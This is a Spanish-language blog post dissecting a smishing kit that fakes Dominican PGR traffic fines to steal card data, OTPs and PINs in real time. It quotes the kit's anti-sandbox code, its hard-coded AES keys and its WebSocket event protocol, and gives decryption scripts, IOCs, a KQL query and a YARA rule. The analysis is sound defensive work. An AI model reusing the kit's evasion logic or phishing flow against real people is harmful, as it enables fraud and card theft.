Multas falsas de la PGR: disección de un kit de smishing que roba tarjetas en tiempo real
Cómo una “multa de RD$ 430” esconde un panel operado por humanos 💀, tráfico cifrado por WebSocket y pantallas falsas de 3-D Secure — y cómo lo desciframos.
Así empieza este primer capítulo de la serie Analizando Phishings. Todo comienza con una notificación que me llegó por SMS, donde supuestamente la Procuraduría General de la República me dice que tengo una multa de tránsito registrada y que debo consultar los detalles y pagarla.
Como ciudadano decente, sabia que habia un error, pues en mi conocimiento no me han puesto ninguna multa xd. Ademas, viendo la URL ya podemos darnos cuenta de que es una pagina falsa, tipico comportamiento de phishing.

Así que decidí iniciar una investigación del funcionamiento de esta página maliciosa. A continuación se detallan los resultados.
Resumen rápido de los hallazgos
- El señuelo: un SMS avisa de una multa de tránsito pendiente con la Procuraduría General de la República (PGR) y enlaza a
multaspgr[.]top, una copia del portal realmultas.pgr.gob.do. - La trampa: la “multa” es siempre la misma (exceso de velocidad, RD$ 430.85, 50 % de descuento si pagas “ya”). El objetivo real es la tarjeta.
- Lo interesante: no hay formularios ni
POST. Cada tecla que escribe la víctima viaja cifrada con AES por un WebSocket a un operador que la está viendo en vivo, incluso si nunca pulsa “Enviar”. - El golpe final: mientras la víctima espera, el operador usa la tarjeta y le muestra pantallas falsas de “verificación bancaria” para robarle el OTP, el PIN o para que apruebe la operación en su app.
- Evasión: el kit detecta sandboxes y navegadores automatizados; si los detecta, ni siquiera se conecta a su servidor. Any.Run lo marcó como “No threats”.
- Origen: el código incluye comentarios en chino y restos de una plantilla usada contra Bulgaria. Encaja con el ecosistema de Phishing-as-a-Service conocido como Smishing Triad.
- Lo desciframos: las claves AES están fijas dentro del JavaScript. Publicamos los scripts para replicarlo.
1. La trampa: una multa pequeña y urgente
El dominio multaspgr[.]top imita al portal legítimo de consulta de multas (multas.pgr.gob.do): se quitan los puntos y el dominio gubernamental se cambia por .top, un TLD barato y muy usado en campañas masivas.
Página falsa:

Página real:

Se registró el 20 de septiembre de 2026 (registrado por GLOBAL ASSET DOMAINS INC., con datos ocultos) y ese mismo día ya tenía certificado TLS. Cuando lo analizamos, tenía dos días de vida: estas campañas rotan dominios constantemente para esquivar bloqueos.
Usando herramientas como https://web-check.xyz podemos realizar diversos análisis de la página y resumirlos en widgets. En este caso, nos permitió determinar cuándo se creó el dominio y cuándo expira. Normalmente, los dominios recién creados son más sospechosos porque suelen estar pensados para campañas de phishing de corta duración.

La víctima llega desde el enlace del mensaje a hxxps://multaspgr[.]top/do/ y se encuentra una copia convincente del portal: logos de la PGR, el teléfono y el correo oficiales en el pie de página, la dirección del Centro de los Héroes y el logo del Ministerio Público.
El guion es simple:
- Consulta: se pide solo el número de placa. Aparece “Buscando en el registro de infracciones…” durante dos segundos (no se busca nada: es un
setTimeout). - La multa: sea cual sea la placa, el resultado es siempre el mismo:
| Campo | Valor |
|---|---|
| Infracción | Exceso de velocidad en zona urbana (radar) |
| Velocidad / límite | 57 km/h en zona de 50 km/h |
| Puntos en la licencia | 0 (“solo multa”) |
| Importe | RD$ 430.85 |
| Referencia | AT-1234-2026 |
| Fecha | Hoy menos 6 días (se calcula en el navegador) |
| Descuento | 50 % si paga en 7 días |
El detalle de la fecha es fino: como la “infracción” ocurrió hace seis días y el descuento dura siete, a la víctima siempre le queda un día. Se añade una lista de consecuencias (intereses, cobro administrativo, registro de la deuda) y un importe bajo que no invita a pensárselo dos veces.
- El pago: una página de “Pago seguro” con logos de bancos que pide titular, número de tarjeta, vencimiento y CVV.
- El cierre: “Pago confirmado. Puede cerrar esta página”. Una víctima tranquila no llama a su banco.
2. El truco está debajo: una SPA en Vue con un canal oculto
A primera vista, en el sandbox el sitio no hace nada sospechoso: descarga unos archivos JS, CSS, cuatro PNG y una fuente de Google.
Se realizó una simulación del sitio web como si se tratara de una víctima para analizar dinámicamente su comportamiento. Sabemos que es phishing, pero ahora queríamos saber algo más: ¿a dónde se envían esas credenciales? ¿Se almacenan localmente? ¿Hay un bot de Telegram? ¿Hay un C2 o algún canal externo?
Ningún formulario, ningún POST. Lo único raro es una conexión que queda abierta:
wss://multaspgr[.]top/console/?uuid=bb14bfdb-…&shopHost=&EIO=4&transport=websocket
Esa conexión es todo el phishing.
El stack (detalles técnicos)
- Vue 3 + Vue Router, empaquetado con Vite (assets tipo
/do/assets/CQ87CKpW.jscon hash de 8 caracteres). - Socket.IO v4 como canal con el servidor (
EIO=4), con reconexión infinita y fallback a long-polling. - CryptoJS para cifrar todo lo que sale y entra.
- Ofuscado con obfuscator.io: todos los strings del código están sustituidos por llamadas del tipo
b(70)que leen de una tabla codificada. - Detrás de Cloudflare, que oculta la IP real del servidor. Las IPs que se ven (
172.67.136.213,104.21.32.221) son de Cloudflare y no sirven para bloquear.
Los módulos principales:
| Archivo | Contenido |
|---|---|
CQ87CKpW.js | Rutas, textos de la multa, configuración de la campaña |
CQBmPQ5D.js | El corazón: cifrado, conexión al C2, antibots, pantallas de 3-D Secure (262 KB una vez completo) |
NAwAzj5k.js | Runtime de Vue y librerías |
Un detalle que vemos al desofuscar es que las rutas internas no se llaman “inicio” ni “pago”, sino 首页 (“página de inicio”), 资料页 (“página de datos”) y 填信息页 (“página para rellenar información”). El desarrollador escribe en chino.
3. Primero, esconderse de los analistas
Veamos ahora las técnicas de evasión y anti-análisis que usa la página para esconderse de sandboxes y analistas.
Un poco de contexto primero…
Anti-forense: técnicas para que queden menos rastros o para que la evidencia sea difícil de interpretar después del hecho. En un sitio web se ve como datos cifrados en el navegador (
localStoragecon claves hasheadas y valores en AES), tráfico cifrado dentro del WebSocket e infraestructura de vida corta (dominios que duran días). El objetivo es que, al revisar el equipo o los logs, el analista no encuentre datos legibles.Anti-debugging: trucos para impedir o entorpecer que un analista inspeccione el código mientras se ejecuta, por ejemplo instrucciones
debuggeren bucle que congelan las DevTools, o comprobaciones que detectan si la consola está abierta.Anti-análisis / anti-sandbox (evasión): mecanismos para detectar que el entorno no es una víctima real (un sandbox, un navegador automatizado o una VM) y, en ese caso, comportarse de forma inofensiva. El más común en kits de phishing es la ofuscación del código (strings codificados, nombres sin sentido), que dificulta leerlo en frío.
En este kit encontramos ofuscación con obfuscator.io, detección de navegadores headless y automatizados (si la detecta, no se conecta al C2) y cifrado AES del tráfico y del almacenamiento local. No encontramos trampas debugger clásicas: la protección principal es de evasión, no de anti-debugging en sentido estricto.
Ahora si, vamos con el analisis…
El módulo principal incluye un detector de navegadores automatizados bastante completo. Antes de hacer nada, comprueba:
navigator.webdrivery los rastros de Selenium, Puppeteer, Playwright y PhantomJS.- Conexiones de Chrome DevTools Protocol (CDP).
- Render gráfico por software (SwiftShader, llvmpipe), típico de VMs.
- Si los emojis se dibujan, cuántas fuentes y plugins hay, idiomas, permisos, batería, WebRTC…
La idea es simple: detectar si quien interactúa es un humano o un sistema automatizado de análisis dinámico, como una sandbox o una herramienta automática.
Cada comprobación suma un puntaje. El código CQBmPQ5D.js sería el siguiente:
1
2var h3=h2();const h4=.31,h5=async()=>{try{const n=await h3[b(1097)](!1);return{isSpider:(n?.[b(1386)]??0)>=h4}}catch{return{isSpider:!1}}};async function h6({menu:n,routers:m},t,l){return!(await h5())[b(1476)]&&(eY(),a6(t),ad()),{router:f6(n,m)}}
Sin embargo, para analizarlo mejor y desofuscarlo, lo convertimos a una versión legible:
1const THRESHOLD = 0.31;
2const check = async () => {
3 try {
4 const r = await HeadlessDetector.detectHeadless(false);
5 return { isSpider: (r?.isHeadless ?? 0) >= THRESHOLD };
6 } catch { return { isSpider: false }; }
7};
8
9async function init({ menu, routers }, config) {
10 if (!(await check()).isSpider) { // solo si NO parece un bot…
11 initFormData(); applyConfig(config); connectSocket(); // …se conecta al C2
12 }
13 return { router: buildRouter(menu, routers) };
14}
Si el navegador “huele” a automatización, la página se ve igual, pero nunca abre el canal con el servidor. Para un escáner no hay nada malicioso que ver. Eso explica el veredicto “No threats” de any.run de algunos analisis que realice.
El detector no es original: expone los mismos identificadores (window.__headlessDetectionScore, data-headless-score) que el proyecto open-source headless-detector. Los autores lo han incrustado tal cual.
4. El canal: un keylogger con AES
Supongamos que pasamos las pruebas de humanidad y anti-sandboxs y continuamos con el flujo de la pagina, ya introducimos los datos que pide el atacante, pero que sucede por debajo que el usuario no ve y como funciona?.
4.1 Cómo se conecta
Al cargar, el kit genera un UUID para la víctima, lo guarda (cifrado) en localStorage y abre el socket:
| Parámetro | Para qué sirve |
|---|---|
/console | Ruta del servidor Socket.IO |
uuid | Identifica a la víctima en el panel del operador |
shopHost | Identificador de “tienda”; vacío en este caso. Apunta a un panel con varios clientes u operadores (hipótesis) |
backUrl (en la configuración) | Si se define, el socket se conecta a otro dominio. El C2 no tiene por qué vivir en la landing |
4.2 Todo va cifrado… con la clave dentro del propio JS
Aqui es donde se pone interesante, porque cuando vemos todas las conexiones que realiza la WEB, no vemos peticiones externas, pero este ultimo si nos parece interesante:

Al analizar el trafico HTTP podemos ver una comunicacion mediante websocket y todo esta cifrado:

Cada mensaje viaja como un evento Socket.IO:
42["message","9J/UwM0nsmrdXqUVWny6zjo8nD559AWv58L4xtEANxJLMD1H…"]
Ese base64 es JSON cifrado con AES-128-CBC y padding PKCS7. El problema (para ellos) es que la clave y el IV están escritos en el código:
| Uso | Key | IV |
|---|---|---|
| Mensajes del WebSocket | ZQMWLSPXJRDHKTNV | YFBCUENAGPQLXJWR |
Datos guardados en localStorage | NLFRWBHXVQJTCPYK | DMAGSZEIOPQUNTVC |
Al ser key e IV fijos, el cifrado es determinista: el mismo mensaje produce siempre el mismo texto cifrado. Por eso, en la captura, 83 de 88 mensajes empiezan con los mismos 32 bytes: son todos {"event":"changleField","data":{…. Los mensajes de error del módulo de cifrado también están en chino: 加密失败 (“falló el cifrado”), 解密失败 (“falló el descifrado”).
El cifrado no protege nada frente a un analista; su función es que un proxy, un IDS o un sandbox no vean datos de tarjeta en claro.
Spoiler: Crearemos nuestros propios scripts para descifrar esta comunicacion mas adelante…
4.3 Qué se envía
| Evento | Sentido | Cuándo | Qué lleva |
|---|---|---|---|
userSiteConfig | Servidor → víctima | Al conectar | Monto, moneda, modo manual/automático |
changleField (sic) | Víctima → servidor | En cada tecla y en cada cambio de página | Placa, titular, número de tarjeta, vencimiento, CVV… |
notice | Víctima → servidor | Avisos al operador | enterCardNumber (empezó a escribir la tarjeta), submitData, submitCode… |
submitData | Víctima → servidor | Al pulsar “Enviar” | Todo junto |
submitCode | Víctima → servidor | En las pantallas de “verificación” | OTP, PIN o código |
operation | Servidor → víctima | Cuando el operador decide | Rechazar, pedir un código, dar por completado |
changleField (una errata de changeField) es una buena huella del kit (SI, PORQUE LOS MALOS TAMBIEN SE EQUIVOCAN AL ESCRIBIR CODIGO XD). Y lo importante: cerrar la página antes de pulsar “Enviar” no sirve de nada. Los datos ya salieron, mientras escribes los datos que te pide el atacante, en tiempo real esto se envia hacia el atacante, asi que el solo hecho de intentarlo o probar varias tarjetas de credito aunque no le des a Enviar, ya el atacante vio todo.
Nota: Los datos descritos son de prueba usados para simular ser una victima. No, no son reales xd pero sirven para la demostracion.
5. Lo que vio el operador: el tráfico descifrado
Con las claves en la mano desciframos los 88 mensajes de la sesión de any.run (86 del navegador, 2 del servidor). Los datos de tarjeta eran de prueba y aparecen enmascarados.
1S->C {"event":"userSiteConfig","data":{"unattended":"N","unattendedCountdown":10,"unattendedRouter":"success",…}}
2C->S {"event":"changleField","data":{"router":"首页"}}
3C->S {"event":"changleField","data":{"vehicleReg":"9998872"}}
4C->S {"event":"changleField","data":{"placa":"9998872"}}
5C->S {"event":"changleField","data":{"router":"Página de aviso"}}
6C->S {"event":"changleField","data":{"router":"Página de pago"}}
7C->S {"event":"changleField","data":{"cardHolder":"Va"}}
8C->S {"event":"changleField","data":{"cardHolder":"Varto"}}
9C->S {"event":"changleField","data":{"cardHolder":"Vartolomeo Santorriel"}}
10C->S {"event":"changleField","data":{"cardNumber":"5"}}
11C->S {"event":"notice","data":"enterCardNumber"}
12C->S {"event":"changleField","data":{"cardNumber":"53"}}
13C->S {"event":"changleField","data":{"cardNumber":"5360"}}
14 … el número se completa dígito a dígito, con borrados y correcciones …
15C->S {"event":"changleField","data":{"expiryDate":"10/30"}}
16C->S {"event":"changleField","data":{"cvv":"***"}}
17C->S {"event":"submitData","data":{"placa":"9998872","cardHolder":"Vartolomeo Santorriel",
18 "cardNumber":"352954******2979","expiryDate":"10/30","cvv":"***","code":"","pin":"",…}}
19C->S {"event":"notice","data":"submitData"}
20S->C {"event":"operation","data":{"status":"rejected",
21 "args":"La tarjeta de crédito no es válida. Por favor, compruebe la fecha de emisión y el código CVV."}}
Tres cosas saltan a la vista:
"unattended":"N": el kit estaba en modo manual. Había una persona al otro lado, y el rechazo final lo decidió ella: para pedir otra tarjeta, o porque detectó que los datos eran de prueba.- Keylogging literal: se ve el nombre formándose letra a letra y cuatro números de tarjeta distintos escritos, borrados y corregidos. Todos llegaron al operador.
- La página de datos personales (nombre, dirección, teléfono…) se saltó: el flujo configurado fue placa → multa → pago. Se activa por configuración.
6. El verdadero objetivo: saltarse el 3-D Secure
Con los datos de la tarjeta, el operador no espera. Mientras la víctima sigue mirando un spinner, agrega la tarjeta a una billetera móvil (Apple Pay / Google Pay) o hace una compra. El banco, correctamente, envía un código o una notificación a la víctima. Y aquí entra el panel: el operador le cambia la pantalla a un “3-D Secure” falso que pide justo lo que necesita.
El kit trae seis pantallas (los nombres internos, en chino, son del propio código):
| Ruta | Nombre interno | Qué pide |
|---|---|---|
/phoneCode | 手机验证页 · verificación por móvil | Código SMS (“enviado a su número terminado en…”) |
/emailCode | 邮箱验证页 · verificación por correo | Código por email |
/pinCode | PIN验证页 · verificación PIN | El PIN de la tarjeta, el del cajero |
/appCode | APP验证页 · verificación en app | “Abra la app de su banco y apruebe la solicitud” |
/expressCvv | 运通CVV验证页 · CVV de American Express | El código de 4 dígitos del frente |
/tempCustomCode | 自定义验证码页 · código personalizado | Cualquier otro |
sequenceDiagram
autonumber
participant V as Víctima
participant P as Página falsa
participant O as Operador
participant B as Banco
V->>P: Escribe la tarjeta (cada tecla sale al instante)
P->>O: changleField / submitData
O->>B: Agrega la tarjeta a su wallet o compra
B-->>V: OTP por SMS o push en la app
O->>P: operation → pantalla "3-D Secure"
V->>P: Introduce el código / aprueba en la app
P->>O: submitCode
O->>B: Completa la operación
O->>P: rejected ("use otra tarjeta") o completed
P-->>V: "Pago confirmado"
El operador controla el ritmo: puede rechazar la tarjeta (“este banco no está soportado, use otra”) para conseguir una segunda, pedir otro código si el primero caducó, o cerrar con “Pago confirmado”. Si no hay nadie al panel, un modo desatendido (unattended, con cuenta atrás de 10 segundos) avanza solo.
La pantalla de la app bancaria es la más peligrosa: la víctima autoriza con su propio dedo la operación del atacante, convencida de que paga una multa.
7. ¿Quién está detrás?
El código no sale de un repositorio público. Es un kit propietario construido sobre piezas conocidas: Vue, Vite, CryptoJS, Socket.IO y el detector de headless open-source. Pero deja varias huellas:
- Chino simplificado en rutas, pantallas y errores.
do_pgr_etc_vehicle_plate, la clave donde guarda la placa enlocalStorage:does el país,pgrel organismo yetces Electronic Toll Collection, el término chino para el peaje electrónico. Es una plantilla de estafa de peajes reconvertida en multas.- Clases CSS
kat-*(kat-table-wrap,kat-row…). КАТ es la policía de tráfico de Bulgaria. - El formulario de datos personales pide Número de Seguridad Social y teléfono de 10 dígitos: una plantilla de EE. UU. traducida.
La pista búlgara no es casual. En 2026 se documentó una campaña de multas falsas contra Bulgaria (МВР/КАТ) que usaba la ruta /wd079_bg_etc_kat-obligations/: la misma convención país + organismo + etc. Esa campaña se atribuyó públicamente al ecosistema Smishing Triad / Lighthouse (xbz0n).
| Este caso (RD) | Campaña Bulgaria (МВР/КАТ) | Kit JWR (Group-IB) | |
|---|---|---|---|
| Señuelo | Multa de tránsito | Multa de tránsito | Peajes, envíos, tasas |
| Frontend | Vue 3 + Vite | Vue + Vite | Vue 2 |
| C2 | Socket.IO /console, AES-CBC con clave fija | WebSocket /ws?token= + HTTP | WebSocket /webSocket/QT/…, AES-CTR |
| Keylogging por tecla | Sí | Sí | Sí |
| Pantallas 3DS / app / PIN | Sí | Sí | Sí |
| Idioma del desarrollador | Chino | Chino | Chino |
Nuestra lectura:
- Alta confianza: kit de smishing de origen chino, multi-país, del ecosistema Smishing Triad.
- Media confianza: comparte linaje de plantillas con la campaña búlgara.
- Sin determinar: el protocolo del C2 no coincide con lo publicado para Lighthouse ni para JWR. Puede ser otra familia o versión, o un backend distinto que reutiliza plantillas. Recordemos que el Triad funciona como un mercado (desarrolladores de kits, operadores, spammers, vendedores de dominios), así que las plantillas circulan.
- No hay evidencia para ponerle nombre y apellido a un operador concreto.
8. Cómo lo desciframos (y cómo replicarlo)
Todo el proceso es offline: ningún script ejecuta el código del kit ni contacta con su infraestructura. Los tres scripts están completos al final del post.
flowchart LR
A["CQBmPQ5D.js (ofuscado)"] -->|deobf_strings.js| B["Tabla de strings b(0)…b(1558)"]
B -->|extract_keys.py| C["Key / IV AES"]
D["Frames WebSocket (any.run)"] -->|decrypt_ws.py + Key/IV| E["Eventos JSON en claro"]
Necesitas: Node.js ≥ 16, Python ≥ 3.8 con pip install cryptography, los JS completos (en any.run, el botón de descarga del contenido, no la vista previa, que trunca) y el export de los mensajes del WebSocket. Trabaja en una VM de análisis: los bundles son código malicioso.
Paso 1: recuperar los strings
1node deobf_strings.js CQBmPQ5D.js CQBmPQ5D.strings.tsv
2# [+] 1559 strings | decodificador=b() offset=0 array=a()
obfuscator.io sustituye cada string por una llamada b(N) que lee de un array codificado en base64 con un alfabeto no estándar (minúsculas antes que mayúsculas). El script:
- Localiza la función decodificadora
function b(n,m){n-=OFFSET;const t=a();…}. - Aísla el array literal que devuelve
a(). - Decodifica cada elemento: base64 con el alfabeto del ofuscador →
%XX→decodeURIComponent, que recupera el UTF-8 con tildes y caracteres chinos.
El resultado es un diccionario b(N) → string para leer el código:
1b(18) "NLFRWBHXVQJTCPYK" b(54) "/console"
2b(20) "AES" b(56) "changleField"
3b(23) "CBC" b(70) "ZQMWLSPXJRDHKTNV"
4b(25) "Pkcs7" b(71) "YFBCUENAGPQLXJWR"
Paso 2: encontrar las claves
1python3 extract_keys.py CQBmPQ5D.js CQBmPQ5D.strings.tsv
2# [+] Primitivas CryptoJS referenciadas: AES, CBC, MD5, Pkcs7
3# par #1 key='NLFRWBHXVQJTCPYK' (128 bits) iv='DMAGSZEIOPQUNTVC'
4# par #2 key='ZQMWLSPXJRDHKTNV' (128 bits) iv='YFBCUENAGPQLXJWR'
En el código minificado, CryptoJS recibe las claves así:
1// ofuscado (simplificado)
2const af=b(70), ag=b(71), ah=c[b(15)][b(16)][b(17)](af), ai=c[b(15)][b(16)][b(17)](ag);
3// con la tabla resuelta
4const KEY = CryptoJS.enc.Utf8.parse("ZQMWLSPXJRDHKTNV");
5const IV = CryptoJS.enc.Utf8.parse("YFBCUENAGPQLXJWR");
6// y se usa en el emisor del socket
7socket.emit("message", CryptoJS.AES.encrypt(JSON.stringify(msg), KEY,
8 { iv: IV, mode: CryptoJS.mode.CBC, padding: CryptoJS.pad.Pkcs7 }).toString());
El script busca las llamadas cuya resolución es enc.Utf8.parse, resuelve su argumento y agrupa cada key con su IV. Revisando dónde se usan: el par #1 cifra el localStorage y el par #2 los mensajes del socket.
Paso 3: descifrar el tráfico
1python3 decrypt_ws.py frames.txt --mask # --mask oculta PAN, CVV y PIN
2# 3 S->C {"data": {"unattended": "N", …}, "event": "userSiteConfig"}
3# 97 C->S {"event": "submitData", "data": {…, "cardNumber": "352954******2979", "cvv": "***"}}
4# [+] eventos: changleField=83, notice=2, operation=1, submitData=1, userSiteConfig=1
El script:
- Se queda solo con los frames
42["message","…"]. Socket.IO también envía0(handshake),40(conexión) y2/3(ping/pong), que no llevan datos. - Decodifica el base64. No hay prefijo
Salted__porque CryptoJS recibe la clave como bytes, no como contraseña. - Descifra con AES-128-CBC y quita el padding PKCS7.
- Parsea el JSON, marca la dirección del mensaje y, opcionalmente, enmascara datos sensibles.
Opciones: --json (JSON Lines) y --key/--iv para otros despliegues.
Para otros despliegues del mismo kit: busca la conexión con EIO=4 a /console/, descarga completo el módulo que contiene la cadena /console (el nombre del archivo cambia en cada build), repite los pasos 1 y 2, y usa --key/--iv. Para comprobar un mensaje suelto sin scripts, en CyberChef: From Base64 → AES Decrypt (Key e IV en UTF8, modo CBC).
Límites: si el operador activa backUrl, el socket irá a otro host. Si cambian la configuración del ofuscador (rotación del array o codificación RC4), habrá que adaptar el paso 1.
9. Indicadores de compromiso
Red
1multaspgr[.]top
2hxxps://multaspgr[.]top/do/
3wss://multaspgr[.]top/console/
4Patrón URI: /console/?uuid=*&shopHost=*&EIO=4&transport=*
5Patrón URI: /do/assets/[A-Za-z0-9_-]{8}.(js|css|png)
6NS: armando.ns.cloudflare.com + braelyn.ns.cloudflare.com (pivote débil)
7NO bloquear: 172.67.136.213, 104.21.32.221 (Cloudflare, compartidas)
Archivos (este build)
| Archivo | SHA-256 |
|---|---|
CQ87CKpW.js | 7ba5dd8e6c786314a27ac7c16fcea48a7eff0bdc33fa08e0d7ce81daefd0a212 |
CQBmPQ5D.js | 60c8ca23ccee7ef99d3e11cadd8df108689f0b63d23b48a413aab25d6cebdedc |
| Certificado TLS | 2ec99f540c9966eed0e60d216a0c3f12b22d1ec48f9c6991d402468467357316 |
Huellas del kit (sirven para otros despliegues)
- Keys/IV AES:
ZQMWLSPXJRDHKTNV/YFBCUENAGPQLXJWRyNLFRWBHXVQJTCPYK/DMAGSZEIOPQUNTVC - Eventos Socket.IO:
changleField,userSiteConfig,submitData,submitCode,operation localStorage:t_config,t_form_data,do_pgr_etc_vehicle_plate- Scope IDs de Vue:
data-v-830bfd75,data-v-d3e51b0e,data-v-372c92b7,data-v-9f4207d6,data-v-07c50e0d,data-v-e16e8526 - Clases CSS:
kat-table-wrap,kat-row--discount,pgr-search-loading - Strings:
手机验证页,PIN验证页,运通CVV验证页,加密失败, referenciaAT-1234-2026
10. Detección
En el proxy o NDR: un upgrade a WebSocket cuya URI contenga /console/?uuid=, shopHost= y EIO=4, sobre todo hacia dominios con menos de una semana de vida.
ProxyLogs
| where RequestURL has "/console/" and RequestURL has "shopHost=" and RequestURL has "EIO=4"
| summarize count(), make_set(SrcUser), min(TimeGenerated), max(TimeGenerated) by DestHost
Búsqueda retrospectiva: resoluciones DNS de multaspgr.top en tu organización. Cada una es una posible víctima.
YARA (sobre JS desofuscado, tráfico descifrado o despliegues sin ofuscar; en el bundle ofuscado estas cadenas están codificadas):
rule SmishKit_MultasPGR_SocketIO
{
meta:
description = "Kit de smishing con C2 Socket.IO /console y AES fijo (Multas PGR, RD)"
date = "2026-09-23"
strings:
$k1 = "ZQMWLSPXJRDHKTNV" ascii
$k2 = "YFBCUENAGPQLXJWR" ascii
$k3 = "NLFRWBHXVQJTCPYK" ascii
$e1 = "changleField" ascii
$e2 = "userSiteConfig" ascii
$e3 = "unattendedRouter" ascii
$p1 = "do_pgr_etc_vehicle_plate" ascii
$z1 = "手机验证页" utf8
$z2 = "运通CVV验证页" utf8
condition:
3 of them
}
Pivotes en urlscan.io: page.url:"/console/?uuid=", o buscar los scope IDs de Vue en el DOM.
11. Qué hacer
- Si recibiste el SMS: la PGR no cobra multas por SMS. Consulta siempre en
multas.pgr.gob.do, escribiendo tú la dirección. - Si escribiste tus datos, aunque no pulsaras “Enviar”: llama a tu banco ya, bloquea la tarjeta y revisa si se añadió a alguna billetera móvil. No te fíes del “Pago confirmado”.
- Bancos: vigilen las altas de tarjetas en wallets justo después de estas campañas, y que el texto del OTP diga la acción real (“para agregar su tarjeta a Apple Pay”) y no un genérico.
- Equipos de seguridad: bloqueen el dominio, carguen las reglas de arriba y busquen accesos pasados.
- Takedown: reporte a Cloudflare (abuse), al registrar y a Google Safe Browsing; notificación a la PGR y al CSIRT-RD.
12. Lo que queda abierto
- La IP real detrás de Cloudflare: pendiente de DNS histórico o de búsquedas en Censys y Shodan por favicon o hashes de las imágenes.
- Si además filtra por país en el servidor: el antibot confirmado es del lado del cliente.
- El SMS original: remitente, texto y acortador.
- Dominios hermanos con la misma huella (
/console/?uuid=+shopHost). - Qué significa exactamente
shopHost, y si es un panel multi-cliente. - Las pantallas de 3-D Secure y el modo desatendido en acción: están en el código, pero no se ejercitaron en la sesión analizada.
Si tienes muestras de otros despliegues o del SMS, nos encantaría compararlas.
Referencias
- Sesión en any.run: https://app.any.run/tasks/fa8f80e6-8d90-4820-a5fa-cc95a526f171
- Portal legítimo de la PGR: https://multas.pgr.gob.do/consultas
- xbz0n, Tracing a Smishing Triad Fake-Fine Campaign Targeting Bulgaria (МВР): https://xbz0n.sh/blog/smishing-triad-mvr-bulgaria
- Group-IB, Smish. Click. Drained: Inside the Smishing Triad’s Phishing Cockpit: https://www.group-ib.com/blog/smishing-triad-outsider-jwr/
- SpyCloud, YYlaiyu PhaaS Panel: https://spycloud.com/blog/yylaiyu-chinese-phishing-as-a-service-panel/
- Silent Push, Smishing Triad: https://www.silentpush.com/blog/smishing-triad/
- Bitdefender “Operation Road Trap” (vía Escudo Digital): https://www.escudodigital.com/en/cybersecurity/fake-traffic-fines-sms-global-smishing-campaign-targets-drivers-worldwide.html
- headless-detector (open-source): https://github.com/andriyshevchenko/headless-detector
- Certificate Transparency (Cert Spotter): https://api.certspotter.com/v1/issuances?domain=multaspgr.top&include_subdomains=true
- Reporte de URLSCAN: https://urlscan.io/result/01a0cfd9-045e-712b-aa9d-0395282d93fc/ : - - Reporte de web-check: https://web-check.xyz/check/multaspgr.top
- Reporte de URLquery: https://urlquery.net/report/7a2346c3-3890-4305-8a55-93f5d6d47842 - Analisis
Anexo: scripts
deobf_strings.js
Decodifica la tabla de strings de obfuscator.io (paso 1).
Ver código
1#!/usr/bin/env node
2/*
3 * deobf_strings.js — Decodifica la tabla de strings de un bundle ofuscado con obfuscator.io
4 * (variante "stringArrayEncoding: base64").
5 *
6 * Uso: node deobf_strings.js <bundle.js> [salida.tsv]
7 * Salida: una línea por string -> "<llamada>\t<string decodificado>" (ej. b(18) "NLFRWBHXVQJTCPYK")
8 *
9 * No ejecuta el código del kit: solo localiza el array literal y lo decodifica.
10 */
11const fs = require("fs");
12const [, , inFile, outFile] = process.argv;
13if (!inFile) { console.error("Uso: node deobf_strings.js <bundle.js> [salida.tsv]"); process.exit(1); }
14const src = fs.readFileSync(inFile, "utf8");
15
16// 1) Localizar la función decodificadora: function b(n,m){n-=0;const t=a(); ...
17// -> nombre (b), offset (0) y nombre de la función que devuelve el array (a)
18const dec = src.match(/function ([\w$]+)\(([\w$]+),[\w$]+\)\{\2-=(\d+);const [\w$]+=([\w$]+)\(\)/);
19if (!dec) { console.error("No se encontró la función decodificadora"); process.exit(2); }
20const [, decName, , offsetStr, arrFn] = dec;
21const offset = parseInt(offsetStr, 10);
22
23// 2) Extraer el array literal de: function a(){const n=[ ... ];
24const head = new RegExp(`function ${arrFn.replace(/\$/g, "\\$")}\\(\\)\\{const [\\w$]+=`);
25const h = head.exec(src);
26if (!h) { console.error(`No se encontró el array de ${arrFn}()`); process.exit(3); }
27let i = h.index + h[0].length, depth = 0, q = null;
28const start = i;
29for (; i < src.length; i++) { // recorre respetando comillas y escapes
30 const c = src[i];
31 if (q) { if (c === "\\") { i++; continue; } if (c === q) q = null; continue; }
32 if (c === '"' || c === "'" || c === "`") { q = c; continue; }
33 if (c === "[") depth++;
34 else if (c === "]" && --depth === 0) break;
35}
36const literal = src.slice(start, i + 1);
37let arr;
38try { arr = JSON.parse(literal); } // array de strings con comillas dobles
39catch { arr = require("vm").runInNewContext(literal, Object.create(null), { timeout: 1000 }); } // sandbox vacío, solo el literal
40
41// 3) Decodificar: base64 con alfabeto no estándar (minúsculas primero) + decodeURIComponent
42const ALPHA = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=";
43function decode(s) {
44 let bin = "", out = "";
45 for (let b, c, n = 0, k = 0; (c = s.charAt(k++)); ~c && (b = n % 4 ? 64 * b + c : c, n++ % 4)
46 ? (bin += String.fromCharCode(255 & (b >> ((-2 * n) & 6)))) : 0) c = ALPHA.indexOf(c);
47 for (let k = 0; k < bin.length; k++) out += "%" + ("00" + bin.charCodeAt(k).toString(16)).slice(-2);
48 try { return decodeURIComponent(out); } catch { return bin; }
49}
50
51const lines = arr.map((s, idx) => `${decName}(${idx + offset})\t${JSON.stringify(decode(s))}`);
52if (outFile) fs.writeFileSync(outFile, lines.join("\n") + "\n");
53else console.log(lines.join("\n"));
54console.error(`[+] ${arr.length} strings | decodificador=${decName}() offset=${offset} array=${arrFn}()`);
extract_keys.py
Localiza las keys e IV que se pasan a CryptoJS.enc.Utf8.parse() (paso 2).
Ver código
1#!/usr/bin/env python3
2"""
3extract_keys.py — Localiza las keys/IV AES de CryptoJS en un bundle ofuscado usando
4la tabla de strings ya decodificada por deobf_strings.js.
5
6Uso: python3 extract_keys.py <bundle.js> <strings.tsv>
7
8Lógica:
9 En el código, CryptoJS recibe la key/IV así (tras minificar):
10 const V = c[b(15)][b(16)][b(17)](b(18)) -> CryptoJS.enc.Utf8.parse("<KEY>")
11 y luego:
12 c[b(20)][b(21)](n, V, {iv: W, mode: c[b(22)][b(23)], padding: c[b(24)][b(25)]})
13 -> CryptoJS.AES.encrypt(n, KEY, {iv, mode: CBC, padding: Pkcs7})
14 El script busca cada llamada X[b(i)][b(j)][b(k)](b(n)) donde i,j,k = enc,Utf8,parse,
15 resuelve b(n) con la tabla y agrupa los pares key/IV definidos de forma consecutiva.
16"""
17import json, re, sys
18
19src = open(sys.argv[1], encoding="utf-8").read()
20table = {}
21for line in open(sys.argv[2], encoding="utf-8"):
